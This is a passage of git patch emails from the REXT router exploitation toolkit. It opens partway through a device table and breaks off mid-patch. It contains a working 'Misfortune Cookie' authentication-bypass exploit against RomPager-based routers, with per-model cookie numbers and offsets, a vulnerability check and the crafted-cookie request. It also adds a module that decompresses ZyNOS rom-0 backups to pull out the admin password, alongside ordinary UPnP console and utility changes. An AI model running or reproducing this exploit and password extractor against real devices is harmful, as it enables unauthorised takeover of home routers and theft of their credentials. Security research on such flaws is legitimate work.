5200GR4 2.11.91.0(RE2.C29)3.11.11.52", 'number': 107367690, + 'offset': 21}, # 0x803D8A51 # tested + {'name': "Billion BiPAC 5200SRD 2.10.5.0 (UE0.C2C) 3.6.0.0", 'number': 107368270, + 'offset': 1}, # 0x8034b109 # ---------- + {'name': "Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0", 'number': 107371378, + 'offset': 37}, # 0x8040587d # ---------- + {'name': "Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22", 'number': 107371218, + 'offset': 13}, # 0x803c49d5 # ---------- + {'name': "D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL", + 'number': 107368902, 'offset': 25}, # 0x803fea01 # tested + {'name': "D-Link DSL-2600U Z1_DSL-2600U", 'number': 107366496, 'offset': 13}, + # 0x8040637d # ---------- + {'name': "D-Link DSL-2600U Z2_V1.08_ras", 'number': 107360133, 'offset': 20}, + # 0x803389B0 # ---------- + {'name': "TP-Link TD-8616 V2_080513", 'number': 107371483, 'offset': 21}, + # 0x80397055 # ---------- + {'name': "TP-Link TD-8816 V4_100528_Russia", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8816 V4_100524", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8816 V5_100528_Russia", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8816 V5_100524", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # tested + {'name': "TP-Link TD-8816 V5_100903", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8816 V6_100907", 'number': 107371426, 'offset': 17}, + # 0x803c6e09 # ---------- + {'name': "TP-Link TD-8816 V7_111103", 'number': 107371161, 'offset': 1}, + # 0x803e1bd5 # ---------- + {'name': "TP-Link TD-8816 V7_130204", 'number': 107370211, 'offset': 5}, + # 0x80400c85 # ---------- + {'name': "TP-Link TD-8817 V5_100524", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8817 V5_100702_TR", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8817 V5_100903", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8817 V6_100907", 'number': 107369788, 'offset': 1}, + # 0x803b6e09 # ---------- + {'name': "TP-Link TD-8817 V6_101221", 'number': 107369788, 'offset': 1}, + # 0x803b6e09 # ---------- + {'name': "TP-Link TD-8817 V7_110826", 'number': 107369522, 'offset': 25}, + # 0x803d1bd5 # ---------- + {'name': "TP-Link TD-8817 V7_130217", 'number': 107369316, 'offset': 21}, + # 0x80407625 # ---------- + {'name': "TP-Link TD-8817 V7_120509", 'number': 107369321, 'offset': 9}, + # 0x803fbcc5 # tested + {'name': "TP-Link TD-8817 V8_140311", 'number': 107351277, 'offset': 20}, + # 0x8024E148 # tested + {'name': "TP-Link TD-8820 V3_091223", 'number': 107369768, 'offset': 17}, + # 0x80397E69 # tested + {'name': "TP-Link TD-8840T V1_080520", 'number': 107369845, 'offset': 5}, + # 0x80387055 # ---------- + {'name': "TP-Link TD-8840T V2_100525", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # tested + {'name': "TP-Link TD-8840T V2_100702_TR", 'number': 107369790, 'offset': 17}, + # 0x803ae0b1 # ---------- + {'name': "TP-Link TD-8840T V2_090609", 'number': 107369570, 'offset': 1}, + # 0x803c65d5 # ---------- + {'name': "TP-Link TD-8840T V3_101208", 'number': 107369766, 'offset': 17}, + # 0x803c3e89 # tested + {'name': "TP-Link TD-8840T V3_110221", 'number': 107369764, 'offset': 5}, + # 0x803d1a09 # ---------- + {'name': "TP-Link TD-8840T V3_120531", 'number': 107369688, 'offset': 17}, + # 0x803fed35 # ---------- + {'name': "TP-Link TD-W8101G V1_090107", 'number': 107367772, 'offset': 37}, + # 0x803bf701 # ---------- + {'name': "TP-Link TD-W8101G V1_090107", 'number': 107367808, 'offset': 21}, + # 0x803e5b6d # ---------- + {'name': "TP-Link TD-W8101G V2_100819", 'number': 107367751, 'offset': 21}, + # 0x803dc701 # ---------- + {'name': "TP-Link TD-W8101G V2_101015_TR", 'number': 107367749, 'offset': 13}, + # 0x803e1829 # ---------- + {'name': "TP-Link TD-W8101G V2_101101", 'number': 107367749, 'offset': 13}, + # 0x803e1829 # ---------- + {'name': "TP-Link TD-W8101G V3_110119", 'number': 107367765, 'offset': 25}, + # 0x804bb941 # ---------- + {'name': "TP-Link TD-W8101G V3_120213", 'number': 107367052, 'offset': 25}, + # 0x804e1ff9 # ---------- + {'name': "TP-Link TD-W8101G V3_120604", 'number': 107365835, 'offset': 1}, + # 0x804f16a9 # ---------- + {'name': "TP-Link TD-W8151N V3_120530", 'number': 107353867, 'offset': 24}, + # 0x8034F3A4 # tested + {'name': "TP-Link TD-W8901G V1_080522", 'number': 107367787, 'offset': 21}, + # 0x803AB30D # tested + {'name': "TP-Link TD-W8901G V1,2_080522", 'number': 107368013, 'offset': 5}, + # 0x803AB30D # ---------- + {'name': "TP-Link TD-W8901G V2_090113_Turkish", 'number': 107368013, 'offset': 5}, + # 0x803AB30D # ---------- + {'name': "TP-Link TD-W8901G V3_140512", 'number': 107367854, 'offset': 9}, + # 0x803cf335 # tested + {'name': "TP-Link TD-W8901G V3_100603", 'number': 107367751, 'offset': 21}, + # 0x803DC701 # tested + {'name': "TP-Link TD-W8901G V3_100702_TR", 'number': 107367751, 'offset': 21}, + # 0x803DC701 # tested + {'name': "TP-Link TD-W8901G V3_100901", 'number': 107367749, 'offset': 13}, + # 0x803E1829 # tested + {'name': "TP-Link TD-W8901G V6_110119", 'number': 107367765, 'offset': 25}, + # 0x804BB941 # tested + {'name': "TP-Link TD-W8901G V6_110915", 'number': 107367682, 'offset': 21}, + # 0x804D7CB9 # tested + {'name': "TP-Link TD-W8901G V6_120418", 'number': 107365835, 'offset': 1}, + # 0x804F16A9 # ---------- + {'name': "TP-Link TD-W8901G V6_120213", 'number': 107367052, 'offset': 25}, + # 0x804E1FF9 # ---------- + {'name': "TP-Link TD-W8901GB V3_100727", 'number': 107367756, 'offset': 13}, + # 0x803dfbe9 # ---------- + {'name': "TP-Link TD-W8901GB V3_100820", 'number': 107369393, 'offset': 21}, + # 0x803f1719 # ---------- + {'name': "TP-Link TD-W8901N V1_111211", 'number': 107353880, 'offset': 0}, + # 0x8034FF94 # tested + {'name': "TP-Link TD-W8951ND V1_101124,100723,100728", 'number': 107369839, 'offset': 25}, + # 0x803d2d61 # tested + {'name': "TP-Link TD-W8951ND V1_110907", 'number': 107369876, 'offset': 13}, + # 0x803d6ef9 # ---------- + {'name': "TP-Link TD-W8951ND V1_111125", 'number': 107369876, 'offset': 13}, + # 0x803d6ef9 # ---------- + {'name': "TP-Link TD-W8951ND V3.0_110729_FI", 'number': 107366743, 'offset': 21}, + # 0x804ef189 # ---------- + {'name': "TP-Link TD-W8951ND V3_110721", 'number': 107366743, 'offset': 21}, + # 0x804ee049 # ---------- + {'name': "TP-Link TD-W8951ND V3_20110729_FI", 'number': 107366743, 'offset': 21}, + # 0x804ef189 # ---------- + {'name': "TP-Link TD-W8951ND V4_120511", 'number': 107364759, 'offset': 25}, + # 0x80523979 # tested + {'name': "TP-Link TD-W8951ND V4_120607", 'number': 107364759, 'offset': 13}, + # 0x80524A91 # tested + {'name': "TP-Link TD-W8951ND V4_120912_FL", 'number': 107364760, 'offset': 21}, + # 0x80523859 # tested + {'name': "TP-Link TD-W8961NB V1_110107", 'number': 107369844, 'offset': 17}, + # 0x803de3f1 # tested + {'name': "TP-Link TD-W8961NB V1_110519", 'number': 107369844, 'offset': 17}, + # 0x803de3f1 # ---------- + {'name': "TP-Link TD-W8961NB V2_120319", 'number': 107367629, 'offset': 21}, + # 0x80531859 # ---------- + {'name': "TP-Link TD-W8961NB V2_120823", 'number': 107366421, 'offset': 13}, + # 0x80542e59 # ---------- + {'name': "TP-Link TD-W8961ND V1_100722,101122", 'number': 107369839, 'offset': 25}, + # 0x803D2D61 # tested + {'name': "TP-Link TD-W8961ND V1_101022_TR", 'number': 107369839, 'offset': 25}, + # 0x803D2D61 # ---------- + {'name': "TP-Link TD-W8961ND V1_111125", 'number': 107369876, 'offset': 13}, + # 0x803D6EF9 # ---------- + {'name': "TP-Link TD-W8961ND V2_120427", 'number': 107364732, 'offset': 25}, + # 0x8052e0e9 # ---------- + {'name': "TP-Link TD-W8961ND V2_120710_UK", 'number': 107364771, 'offset': 37}, + # 0x80523AA9 # ---------- + {'name': "TP-Link TD-W8961ND V2_120723_FI", 'number': 107364762, 'offset': 29}, + # 0x8052B6B1 # ---------- + {'name': "TP-Link TD-W8961ND V3_120524,120808", 'number': 107353880, 'offset': 0}, + # 0x803605B4 # ---------- + {'name': "TP-Link TD-W8961ND V3_120830", 'number': 107353414, 'offset': 36}, + # 0x803605B4 # ---------- + {'name': "ZyXEL P-660R-T3 3.40(BOQ.0)C0", 'number': 107369567, 'offset': 21}, + # 0x803db071 # tested + {'name': "ZyXEL P-660RU-T3 3.40(BJR.0)C0", 'number': 107369567, 'offset': 21}, + # 0x803db071 + ] + core.Exploit.RextExploit.__init__(self) + + def do_set(self, e): + args = e.split(' ') + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + elif args[0] == "port": + if str.isdigit(args[1]): + self.port = args[1] + else: + print_error("port value must be integer") + elif args[0] == 'device': + if not str.isdigit(args[1]): + print_error("Invalid device ID") + elif int(args[1]) < 0 or int(args[1]) > len(self.devices): + print_error("Invalid device ID") + else: + self.number = self.devices[int(args[1])]['number'] + print(self.number) + self.offset = self.devices[int(args[1])]['offset'] + print(self.offset) + + except IndexError: + print_error("please specify value for variable") + + def check(self): + user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' + headers = {'User-Agent': user_agent, + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate', + 'Cache-Control': 'no-cache', + 'Cookie': 'C107373883=/omg1337hax'} + target = 'http://' + self.host + ":" + self.port + '/blabla' + try: + response = requests.get(target, headers=headers, timeout=60) + if response.status_code != 404: + print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code) + print_warning("Device is not running RomPager") + else: + if 'server' in response.headers: + server = response.headers.get('server') + if re.search('RomPager', server) is not None: + print_success("Got RomPager! Server:%s" % server) + if re.search('omg1337hax', response.text) is not None: + print_success("device is vulnerable to misfortune cookie") + return True + else: + print_failed("test didn't pass.") + print_warning("Device MAY still be vulnerable") + return False + else: + print_failed("RomPager not detected, device is running: %s " % server) + return False + else: + print_failed("Not running RomPager") + return False + except requests.exceptions.Timeout: + print_error("Timeout!") + except requests.exceptions.ConnectionError: + print_error("No route to host") + + def auth_bypass(self): + user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' + headers = {'User-Agent': user_agent, + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate', + 'Cache-Control': 'no-cache', + 'Cookie': 'C' + str(self.number) + '=' + 'B' * self.offset + '\x00'} + target = 'http://' + self.host + ":" + self.port + '/blabla' + try: + response = requests.get(target, headers=headers, timeout=60) + if response is not None and response.status_code <= 302: + print_success("Exploit sent, please check http://%s:%s if authentication is disabled" + % (self.host, self.port)) + else: + print_error("exploit failed") + except requests.exceptions.Timeout: + print_error("Timeout!") + except requests.exceptions.ConnectionError: + print_error("No route to host") + + def do_run(self, e): + # First check with the same code as in misfortune cookie scanner + is_vulnerable = self.check() + print(is_vulnerable) + if is_vulnerable: + self.auth_bypass() + else: + if query_yes_no("Check indicates device is not vulnerable, would you like to try the exploit anyway?", + default="no") == "yes": + self.auth_bypass() + +Exploit() From b6c85905670534f829aa2b9dc0de5718e423a7bd Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 25 Sep 2016 00:09:54 +0200 Subject: [PATCH 08/14] Autocomplete feature for upnp_console device command, now will add options to send argument after device data enumeration, also other minor fixes. --- CONTRIBUTORS.md | 8 +++ interface/utils.py | 18 ++++++ modules/misc/generic/upnp_console.py | 91 ++++++++++++++++++++++------ 3 files changed, 100 insertions(+), 17 deletions(-) create mode 100644 CONTRIBUTORS.md diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..b076e08 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,8 @@ +Contributors to REXT in (alphabetical order) +============================================ + +* **[Marcos Nesster](https://github.com/mh4x0f)** + + * autocomplete for show and load commands +* **[Bernardo Rodrigues](https://github.com/bmaia)** + * fixing Arris Password of the day exploit \ No newline at end of file diff --git a/interface/utils.py b/interface/utils.py index e247de9..67fcc8a 100644 --- a/interface/utils.py +++ b/interface/utils.py @@ -117,3 +117,21 @@ def hook(blocks, block_size, total_size): return path + +# Used for autocomplete, autocomplete of cmd expects simple list of all possibilities, but it's easier to define +# all menu options as data structure of nested dictionaries and lists +def dict_to_str(input): + output = [] + for key in input.keys(): + items = input.get(key) + if isinstance(items, dict): + new_list = dict_to_str(items) + for item in new_list: + output.append(''.join('{} {}'.format(key, str(item)))) + elif isinstance(items, list) or isinstance(items, range): + if len(items) == 0: + output.append(''.join('{}'.format(key))) + else: + for item in items: + output.append(''.join('{} {}'.format(key, str(item)))) + return output diff --git a/modules/misc/generic/upnp_console.py b/modules/misc/generic/upnp_console.py index 469aef8..d7c6212 100644 --- a/modules/misc/generic/upnp_console.py +++ b/modules/misc/generic/upnp_console.py @@ -24,7 +24,7 @@ import core.globals import interface.utils -from interface.messages import print_error, print_help, print_info, print_warning, print_red, print_yellow, \ +from interface.messages import print_error, print_help, print_info, print_warning, print_red, \ print_success @@ -622,13 +622,9 @@ def get_host_information(self, xml_data, xml_headers, index): traceback.print_stack(e) return False - def do_exit(self, e): + def do_back(self, e): return True - def do_run(self, e): - self.cleanup() - pass - def do_set(self, e): args = e.split(' ') try: @@ -645,6 +641,12 @@ def do_set(self, e): except IndexError: print_error("please specify value for variable") + def complete_set(self, text, line, begidx, endidx): + modules = ["host", "port"] + module_line = line.partition(' ')[2] + igon = len(module_line) - len(text) + return [s[igon:] for s in modules if s.startswith(module_line)] + def do_info(self, e): print(self.__doc__) @@ -654,12 +656,9 @@ def do_host(self, e): def do_port(self, e): print_info(str(self.port)) - def help_exit(self): + def help_back(self): print_help("Exit script") - def help_run(self): - print_help("Run script") - def help_host(self): print_help("Prints current value of host") @@ -706,9 +705,35 @@ def help_device(self): def help_add(self): print_help("Allows you to manually add device (e.g. shodan search result)") - print("\t usage:add [device name] [device xml root]") + print("\tusage:add [device name] [device xml root]") print("\texample: add 192.168.1.2:49152 http://192.168.1.2:49152/description.xml") + def help_pcap(self): + print_help("Passively listens for SSDP NOTIFY messages from UPNP devices") + + # Passively listen for UPNP NOTIFY packets + def do_pcap(self, e): + print_info('Entering passive mode, Ctrl+C') + + count = 0 + start = time.time() + + while True: + try: + if 0 < self.max_hosts <= count: + break + + if 0 < self.timeout < (time.time() - start): + raise Exception("Timeout exceeded") + + if self.parse_ssdp_info(self.recieve(1024, False), False, False): + count += 1 + + except Exception as e: + print("\n") + print_info("Passive mode halted...") + break + def do_msearch(self, e): default_st = "upnp:rootdevice" st = "schemas-upnp-org" @@ -768,7 +793,7 @@ def get_host_info(self, host_info, index): if host_info is not None: # If this host data is already complete, just display it if host_info['dataComplete']: - print_yellow('Data for this host has already been enumerated!') + print_warning('Data for this host has already been enumerated!') return try: # Get extended device and service information @@ -780,7 +805,7 @@ def get_host_info(self, host_info, index): # print(xmlHeaders) # print(xmlData) if not xml_data: - print_red('Failed to request host XML file:' + host_info['xml_file']) + print_error('Failed to request host XML file:' + host_info['xml_file']) return if not self.get_host_information(xml_data, xml_headers, index): print_error("Failed to get device/service info for " + host_info['name']) @@ -935,7 +960,7 @@ def do_device(self, e): # This was originally host command but since REXT uses args = e.split(' ') if args[0] == "get": if len(args) != 2: - print_red("Invalid number of arguments") + print_error("Invalid number of arguments") return try: index = int(args[1]) @@ -973,7 +998,7 @@ def do_device(self, e): # This was originally host command but since REXT uses index = int(args[1]) host_info = self.enum_hosts[index] except: - print("Index error") + print_error("Please provide correct device id") return print('Host:', host_info['name']) @@ -1074,7 +1099,7 @@ def do_device(self, e): # This was originally host command but since REXT uses action_state_var] if argVals['direction'].lower() == 'in': - print("Required argument:") + print_info("Required argument:") print("\tArgument Name: ", argName) print("\tData Type: ", state_var['dataType']) if 'allowedValueList' in state_var: @@ -1089,7 +1114,7 @@ def do_device(self, e): # This was originally host command but since REXT uses # Get user input for the argument value (argc, argv) = self.getUserInput(prompt) if argv is None: - print('Stopping send request...') + print_warning('Stopping send request...') return u_input = '' @@ -1133,5 +1158,37 @@ def do_device(self, e): # This was originally host command but since REXT uses print(tag, ':', tag_value) return + # Creates dictionary structure from host_enum data if data enumeration was completed + def parse_device_autocomplete(self, index): + autocomplete_structure = {} + host = self.enum_hosts[index] + if host['dataComplete']: + try: + for device, deviceData in host['deviceList'].items(): + autocomplete_structure[device] = {} + for service, serviceData in deviceData['services'].items(): + autocomplete_structure[device][service] = {} + for action, actionData in serviceData['actions'].items(): + autocomplete_structure[device][service][action] = [] + except KeyError: + print_error("Error in autocomplete") + return autocomplete_structure + + def complete_device(self, text, line, begidx, endidx): + number_of_hosts = range(len(self.enum_hosts)) + complete_dict = {'get': number_of_hosts, 'info': number_of_hosts, + 'summarny': number_of_hosts, 'list': [], + 'details': number_of_hosts, 'send': number_of_hosts} + + # Trick for finding integers in string + # Maybe I should also check if send command is actually present + # but index of device is always last argument in command except send command + index = [int(s) for s in line.split() if s.isdigit()] + if index: + complete_dict['send'] = {index[0]: self.parse_device_autocomplete(index[0])} + complete_array = interface.utils.dict_to_str(complete_dict) + complete_line = line.partition(' ')[2] + igon = len(complete_line) - len(text) + return [s[igon:] for s in complete_array if s.startswith(complete_line)] Upnp() From aa9756bfc3983a94d7d41dafcb30c782cf7c7908 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 25 Sep 2016 11:16:35 +0200 Subject: [PATCH 09/14] Misfortune cookie auth bypass exploit --- .../allegrosoft/misfortune_auth_bypass.py | 36 ++++++++++++------- 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/modules/exploits/allegrosoft/misfortune_auth_bypass.py b/modules/exploits/allegrosoft/misfortune_auth_bypass.py index 19cd9fd..a8099a3 100644 --- a/modules/exploits/allegrosoft/misfortune_auth_bypass.py +++ b/modules/exploits/allegrosoft/misfortune_auth_bypass.py @@ -9,7 +9,7 @@ import core.Exploit import interface.utils from core.io import query_yes_no -from interface.messages import print_failed, print_success, print_warning, print_error +from interface.messages import print_failed, print_success, print_warning, print_error, print_info import requests import requests.exceptions @@ -216,6 +216,13 @@ def __init__(self): ] core.Exploit.RextExploit.__init__(self) + def do_list(self, e): + counter = 0 + print_info("ID\tManufacturer\tModel\tFirmware") + for device in self.devices: + print_info("%d %s" % (counter, self.devices[counter]['name'])) + counter += 1 + def do_set(self, e): args = e.split(' ') try: @@ -223,22 +230,24 @@ def do_set(self, e): if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: - print_error("please provide valid IPv4 address") + print_error("Please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: - print_error("port value must be integer") + print_error("Port value must be integer") elif args[0] == 'device': if not str.isdigit(args[1]): print_error("Invalid device ID") elif int(args[1]) < 0 or int(args[1]) > len(self.devices): print_error("Invalid device ID") else: - self.number = self.devices[int(args[1])]['number'] - print(self.number) - self.offset = self.devices[int(args[1])]['offset'] - print(self.offset) + index = int(args[1]) + print_info("Device: %s" % self.devices[index]['name']) + self.number = self.devices[index]['number'] + print_info("Setting address to: %d" % self.number) + self.offset = self.devices[index]['offset'] + print_info("Setting offset: %d" % self.offset) except IndexError: print_error("please specify value for variable") @@ -264,10 +273,10 @@ def check(self): if re.search('RomPager', server) is not None: print_success("Got RomPager! Server:%s" % server) if re.search('omg1337hax', response.text) is not None: - print_success("device is vulnerable to misfortune cookie") + print_success("Device is vulnerable to misfortune cookie") return True else: - print_failed("test didn't pass.") + print_failed("Test didn't pass.") print_warning("Device MAY still be vulnerable") return False else: @@ -290,14 +299,14 @@ def auth_bypass(self): 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C' + str(self.number) + '=' + 'B' * self.offset + '\x00'} - target = 'http://' + self.host + ":" + self.port + '/blabla' + target = 'http://' + self.host + ":" + self.port try: response = requests.get(target, headers=headers, timeout=60) if response is not None and response.status_code <= 302: - print_success("Exploit sent, please check http://%s:%s if authentication is disabled" + print_success("Exploit sent, please check http://%s:%s authentication should be disabled" % (self.host, self.port)) else: - print_error("exploit failed") + print_error("Exploit failed") except requests.exceptions.Timeout: print_error("Timeout!") except requests.exceptions.ConnectionError: @@ -306,7 +315,8 @@ def auth_bypass(self): def do_run(self, e): # First check with the same code as in misfortune cookie scanner is_vulnerable = self.check() - print(is_vulnerable) + if self.offset is None: + print_error("Please set device model by running set device id") if is_vulnerable: self.auth_bypass() else: From 21fcbc1df58fc131dc1995b92b263b01cce85e43 Mon Sep 17 00:00:00 2001 From: j91321 Date: Tue, 8 Nov 2016 23:53:47 +0100 Subject: [PATCH 10/14] Fixed bug, with higher number of requests not working with check_dependency(), also fixed bug with loading banner on windows specify encoding as utf8. Added check and create output folder on run if doesn't exist --- core/loader.py | 11 ++++++++++- interface/cmdui.py | 3 ++- requirements.txt | 2 +- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/core/loader.py b/core/loader.py index 775aa74..44f1882 100644 --- a/core/loader.py +++ b/core/loader.py @@ -9,6 +9,7 @@ import importlib.util import sqlite3 import interface.utils +import os from interface.messages import print_error, print_warning @@ -55,13 +56,21 @@ def check_dependencies(): dependency = dependency_list.readline() if not dependency: break - dependency = dependency[:dependency.find('==')] + # FIXME this is not the best way to parse dependencies probably, may break rext if == is used + dependency = dependency[:dependency.find('>=')] found = importlib.util.find_spec(dependency) if found is None: print_warning(dependency + " not found some modules may not work!") dependency_list.close() +def check_create_dirs(): + directories = ['./output'] + for dir in directories: + if not os.path.exists(dir): + os.makedirs(dir) + + def open_database(path): if interface.utils.file_exists(path): connection = sqlite3.connect(path) diff --git a/interface/cmdui.py b/interface/cmdui.py index 473ec0d..4636a67 100644 --- a/interface/cmdui.py +++ b/interface/cmdui.py @@ -22,13 +22,14 @@ class Interpreter(cmd.Cmd): def __init__(self, stdout=sys.stdout): loader.check_dependencies() + loader.check_create_dirs() core.globals.ouidb_conn = loader.open_database("./databases/oui.db") if core.globals.ouidb_conn is None: print_error("OUI database could not be open, please provide OUI database") cmd.Cmd.__init__(self, stdout=stdout) # stdout had to be added for tests self.prompt = ">" # Load banner - with open("./interface/banner.txt", "r") as file: + with open("./interface/banner.txt", "r", encoding="utf-8") as file: banner = "" for line in file.read(): banner += line diff --git a/requirements.txt b/requirements.txt index ca0dee4..28fbc91 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1 @@ -requests==2.9.1 +requests>=2.9.1 From 998ad168b58c8f9d99c6c73970d8bbd7097903e4 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sat, 12 Nov 2016 23:18:06 +0100 Subject: [PATCH 11/14] Fixed, lzs decompress problems. Will not extract complete config but at least admin password can be extracted --- core/compression/lzs.py | 20 +++---- interface/utils.py | 29 ++++++++-- modules/decryptors/zyxel/rom-0_decrypt.py | 28 ---------- .../decryptors/zyxel/rom-0_pass_extract.py | 55 +++++++++++++++++++ .../allegrosoft/misfortune_auth_bypass.py | 7 ++- 5 files changed, 93 insertions(+), 46 deletions(-) delete mode 100644 modules/decryptors/zyxel/rom-0_decrypt.py create mode 100644 modules/decryptors/zyxel/rom-0_pass_extract.py diff --git a/core/compression/lzs.py b/core/compression/lzs.py index 3b32939..49519ac 100644 --- a/core/compression/lzs.py +++ b/core/compression/lzs.py @@ -46,7 +46,7 @@ def getBit(self): def getBits(self, num): res = 0 - for i in range(num): # TODO I think here is the main culprit + for i in range(num): res += self.getBit() << num-1-i return res @@ -97,13 +97,13 @@ def LZSDecompress(data, window=RingList(2048)): string and the final dictionary """ reader = BitReader(data) - result = b'' + result = bytearray() while True: bit = reader.getBit() if not bit: char = reader.getByte() - result += bytes([char]) + result.append(char) window.append(char) # ERR: Something is wrong in this ring list else: bit = reader.getBit() @@ -131,14 +131,14 @@ def LZSDecompress(data, window=RingList(2048)): lenCounter += 1 lenght = 15*lenCounter + 8 + lenField - for i in range(lenght): # TODO Fix this shit - print(window.size()) - print("Length:", lenght) - print("i:", i) - print("deq:", window.get()) - print("size:", window.size()) + for i in range(lenght): + #print(window.size()) + #print("Length:", lenght) + #print("i:", i) + #print("deq:", window.get()) + #print("size:", window.size()) char = window[-offset] - result += char + result.append(char) window.append(char) return result, window diff --git a/interface/utils.py b/interface/utils.py index 67fcc8a..6e77d51 100644 --- a/interface/utils.py +++ b/interface/utils.py @@ -7,6 +7,7 @@ import re import socket import sys +import string import urllib import urllib.request import core.globals @@ -75,9 +76,9 @@ def list_files(path): return files -def make_import_name(string): - string = "modules." + string - return re.sub('/', '.', string) +def make_import_name(input_value): + input_value = "modules." + input_value + return re.sub('/', '.', input_value) def change_prompt(interpreter, path): @@ -120,10 +121,10 @@ def hook(blocks, block_size, total_size): # Used for autocomplete, autocomplete of cmd expects simple list of all possibilities, but it's easier to define # all menu options as data structure of nested dictionaries and lists -def dict_to_str(input): +def dict_to_str(input_value): output = [] - for key in input.keys(): - items = input.get(key) + for key in input_value.keys(): + items = input_value.get(key) if isinstance(items, dict): new_list = dict_to_str(items) for item in new_list: @@ -135,3 +136,19 @@ def dict_to_str(input): for item in items: output.append(''.join('{} {}'.format(key, str(item)))) return output + + +# Takes bytearray as argument and searches for all strings that are 4 letters or more in length +# works similar to unix strings program +def strings(input_array, minimum=4): + result = "" + for c in input_array: + char = chr(c) + if char in string.digits or char in string.ascii_letters or char in string.punctuation: + result += char + continue + if len(result) >= minimum: + yield result + result = "" + if len(result) >= minimum: + yield result diff --git a/modules/decryptors/zyxel/rom-0_decrypt.py b/modules/decryptors/zyxel/rom-0_decrypt.py deleted file mode 100644 index 5df3d2a..0000000 --- a/modules/decryptors/zyxel/rom-0_decrypt.py +++ /dev/null @@ -1,28 +0,0 @@ -#Name:ZyNOS rom-0 config file decryption -#File:rom-0_decrypt.py -#Author:Ján Trenčanský -#License: GNU GPL v3 -#Created: 18.2.2014 -#Last modified: 18.2.2014 -#Shodan Dork: -#Description: Decrypts rom-0 file from ZyNOS, older files (round 16kB are compressed by LZS algorithm) -# newer files (around 60kB) seems to be using something else??? -#http://reverseengineering.stackexchange.com/questions/3662/backup-from-zynos-but-can-not-be-decompressed-with-lzs - -import core.Decryptor -import core.io -import core.compression.lzs - - -#TODO Not completed please do not use -class Decryptor(core.Decryptor.RextDecryptor): - def __init__(self): - core.Decryptor.RextDecryptor.__init__(self) - - def do_run(self, e): - f = open(self.input_file, 'rb') - result, window = core.compression.lzs.LZSDecompress(f.read()) - print(result) - -Decryptor() - diff --git a/modules/decryptors/zyxel/rom-0_pass_extract.py b/modules/decryptors/zyxel/rom-0_pass_extract.py new file mode 100644 index 0000000..318f888 --- /dev/null +++ b/modules/decryptors/zyxel/rom-0_pass_extract.py @@ -0,0 +1,55 @@ +# Name:ZyNOS rom-0 config file decompress and admin password extract +# File:rom-0_pass_extract.py +# Author:Ján Trenčanský +# License: GNU GPL v3 +# Created: 18.2.2014 +# Last modified: 12.11.2016 +# Description: Decompress rom-0 file from ZyNOS, older files (round 16kB are compressed by LZS algorithm) +# newer files (around 60kB) seems to be using something else??? +# http://reverseengineering.stackexchange.com/questions/3662/backup-from-zynos-but-can-not-be-decompressed-with-lzs +# based on https://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html +import core.Decryptor +import core.io +import core.compression.lzs +import interface.utils +from interface.messages import print_success, print_info + + +class Decryptor(core.Decryptor.RextDecryptor): + """ +Name:ZyNOS rom-0 config file decompress and admin password extract +File:rom-0_pass_extract.py +Author:Ján Trenčanský +License: GNU GPL v3 +Created: 18.2.2014 +Description: Decompress rom-0 file (spt.dat) from ZyNOS and try to extract strings. + +Options: + Name Description + + file Input firmware file path + """ + def __init__(self): + core.Decryptor.RextDecryptor.__init__(self) + + def do_run(self, e): + f = open(self.input_file, 'rb') + # These should be offsets of spt.dat but it somehow works with these values usually, + # the core.compression.lzs is not a very good implementation, it won't decompress the whole file correctly + # but it's enough to to extract admin password + fpos = 8568 + fend = 8788 + f.seek(fpos) + amount = 221 + while fpos < fend: + if fend - fpos < amount: + amount = amount + data = f.read(amount) + fpos += len(data) + result, window = core.compression.lzs.LZSDecompress(data) + print_info("Printing strings found in decompressed data (admin password is usually the first found):") + for s in interface.utils.strings(result): + print_success(s) + +Decryptor() + diff --git a/modules/exploits/allegrosoft/misfortune_auth_bypass.py b/modules/exploits/allegrosoft/misfortune_auth_bypass.py index a8099a3..7c5ddac 100644 --- a/modules/exploits/allegrosoft/misfortune_auth_bypass.py +++ b/modules/exploits/allegrosoft/misfortune_auth_bypass.py @@ -9,7 +9,7 @@ import core.Exploit import interface.utils from core.io import 